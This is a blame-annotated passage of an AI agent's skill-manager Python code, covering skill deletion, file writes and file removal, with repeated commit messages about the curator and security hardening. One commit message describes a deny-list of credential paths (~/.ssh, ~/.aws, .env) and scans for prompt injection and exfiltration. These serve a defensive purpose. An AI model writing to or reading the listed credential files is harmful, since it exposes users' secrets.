pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
def _delete_skill(name: str, absorbed_into: Optional[str] = None) -> Dict[str, Any]:
|
|
|
|
|
"""Delete a skill.
|
|
|
|
|
|
|
|
|
|
``absorbed_into`` declares intent:
|
|
|
|
|
- ``None`` / missing → caller didn't declare (legacy / non-curator path);
|
|
|
|
|
accepted for backward compat but logs a warning because the curator
|
|
|
|
|
classification pipeline can't tell consolidation from pruning without it.
|
|
|
|
|
- ``""`` (empty) → explicit "truly pruned, no forwarding target".
|
|
|
|
|
- ``"<skill-name>"`` → content was absorbed into that umbrella; the
|
|
|
|
|
target must exist on disk. Validated here so the model can't claim an
|
|
|
|
|
umbrella that doesn't exist.
|
|
|
|
|
"""
|
2026-02-19 18:25:53 -08:00
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if not existing:
|
|
|
|
|
return {"success": False, "error": f"Skill '{name}' not found."}
|
|
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
pinned_err = _pinned_guard(name)
|
|
|
|
|
if pinned_err:
|
|
|
|
|
return {"success": False, "error": pinned_err}
|
|
|
|
|
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
# Validate absorbed_into target when declared non-empty
|
|
|
|
|
if absorbed_into is not None and isinstance(absorbed_into, str) and absorbed_into.strip():
|
|
|
|
|
target_name = absorbed_into.strip()
|
|
|
|
|
if target_name == name:
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
"error": f"absorbed_into='{target_name}' cannot equal the skill being deleted.",
|
|
|
|
|
}
|
|
|
|
|
target = _find_skill(target_name)
|
|
|
|
|
if not target:
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
"error": (
|
|
|
|
|
f"absorbed_into='{target_name}' does not exist. "
|
|
|
|
|
f"Create or patch the umbrella skill first, then retry the delete."
|
|
|
|
|
),
|
|
|
|
|
}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
skill_dir = existing["path"]
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
skills_root = _containing_skills_root(skill_dir)
|
2026-02-19 18:25:53 -08:00
|
|
|
shutil.rmtree(skill_dir)
|
|
|
|
|
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
# Clean up empty category directories (don't remove the skills root itself)
|
2026-02-19 18:25:53 -08:00
|
|
|
parent = skill_dir.parent
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
if parent != skills_root and parent.exists() and not any(parent.iterdir()):
|
2026-02-19 18:25:53 -08:00
|
|
|
parent.rmdir()
|
|
|
|
|
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
message = f"Skill '{name}' deleted."
|
|
|
|
|
if absorbed_into is not None and isinstance(absorbed_into, str) and absorbed_into.strip():
|
|
|
|
|
message += f" Content absorbed into '{absorbed_into.strip()}'."
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
return {
|
|
|
|
|
"success": True,
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
"message": message,
|
2026-02-19 18:25:53 -08:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _write_file(name: str, file_path: str, file_content: str) -> Dict[str, Any]:
|
|
|
|
|
"""Add or overwrite a supporting file within any skill directory."""
|
|
|
|
|
err = _validate_file_path(file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
|
|
|
|
if not file_content and file_content != "":
|
|
|
|
|
return {"success": False, "error": "file_content is required."}
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
# Check size limits
|
|
|
|
|
content_bytes = len(file_content.encode("utf-8"))
|
|
|
|
|
if content_bytes > MAX_SKILL_FILE_BYTES:
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
"error": (
|
|
|
|
|
f"File content is {content_bytes:,} bytes "
|
|
|
|
|
f"(limit: {MAX_SKILL_FILE_BYTES:,} bytes / 1 MiB). "
|
|
|
|
|
f"Consider splitting into smaller files."
|
|
|
|
|
),
|
|
|
|
|
}
|
|
|
|
|
err = _validate_content_size(file_content, label=file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if not existing:
|
|
|
|
|
return {"success": False, "error": f"Skill '{name}' not found. Create it first with action='create'."}
|
|
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
pinned_err = _pinned_guard(name)
|
|
|
|
|
if pinned_err:
|
|
|
|
|
return {"success": False, "error": pinned_err}
|
|
|
|
|
|
2026-04-10 12:37:06 +03:00
|
|
|
target, err = _resolve_skill_target(existing["path"], file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
2026-02-19 18:25:53 -08:00
|
|
|
target.parent.mkdir(parents=True, exist_ok=True)
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Back up for rollback
|
|
|
|
|
original_content = target.read_text(encoding="utf-8") if target.exists() else None
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(target, file_content)
|
2026-02-19 18:25:53 -08:00
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Security scan — roll back on block
|
|
|
|
|
scan_error = _security_scan_skill(existing["path"])
|
|
|
|
|
if scan_error:
|
|
|
|
|
if original_content is not None:
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(target, original_content)
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
else:
|
|
|
|
|
target.unlink(missing_ok=True)
|
|
|
|
|
return {"success": False, "error": scan_error}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
return {
|
|
|
|
|
"success": True,
|
|
|
|
|
"message": f"File '{file_path}' written to skill '{name}'.",
|
|
|
|
|
"path": str(target),
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _remove_file(name: str, file_path: str) -> Dict[str, Any]:
|
|
|
|
|
"""Remove a supporting file from any skill directory."""
|
|
|
|
|
err = _validate_file_path(file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
|
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if not existing:
|
|
|
|
|
return {"success": False, "error": f"Skill '{name}' not found."}
|
2026-04-15 17:09:41 -07:00
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
pinned_err = _pinned_guard(name)
|
|
|
|
|
if pinned_err:
|
|
|
|
|
return {"success": False, "error": pinned_err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
skill_dir = existing["path"]
|
|
|
|
|
|
2026-04-10 12:37:06 +03:00
|
|
|
target, err = _resolve_skill_target(skill_dir, file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
2026-02-19 18:25:53 -08:00
|
|
|
if not target.exists():
|
|
|
|
|
# List what's actually there for the model to see
|
|
|
|
|
available = []
|
|
|
|
|
for subdir in ALLOWED_SUBDIRS:
|
|
|
|
|
d = skill_dir / subdir
|
|
|
|
|
if d.exists():
|
|
|
|
|
for f in d.rglob("*"):
|
|
|
|
|
if f.is_file():
|
|
|
|
|
available.append(str(f.relative_to(skill_dir)))
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
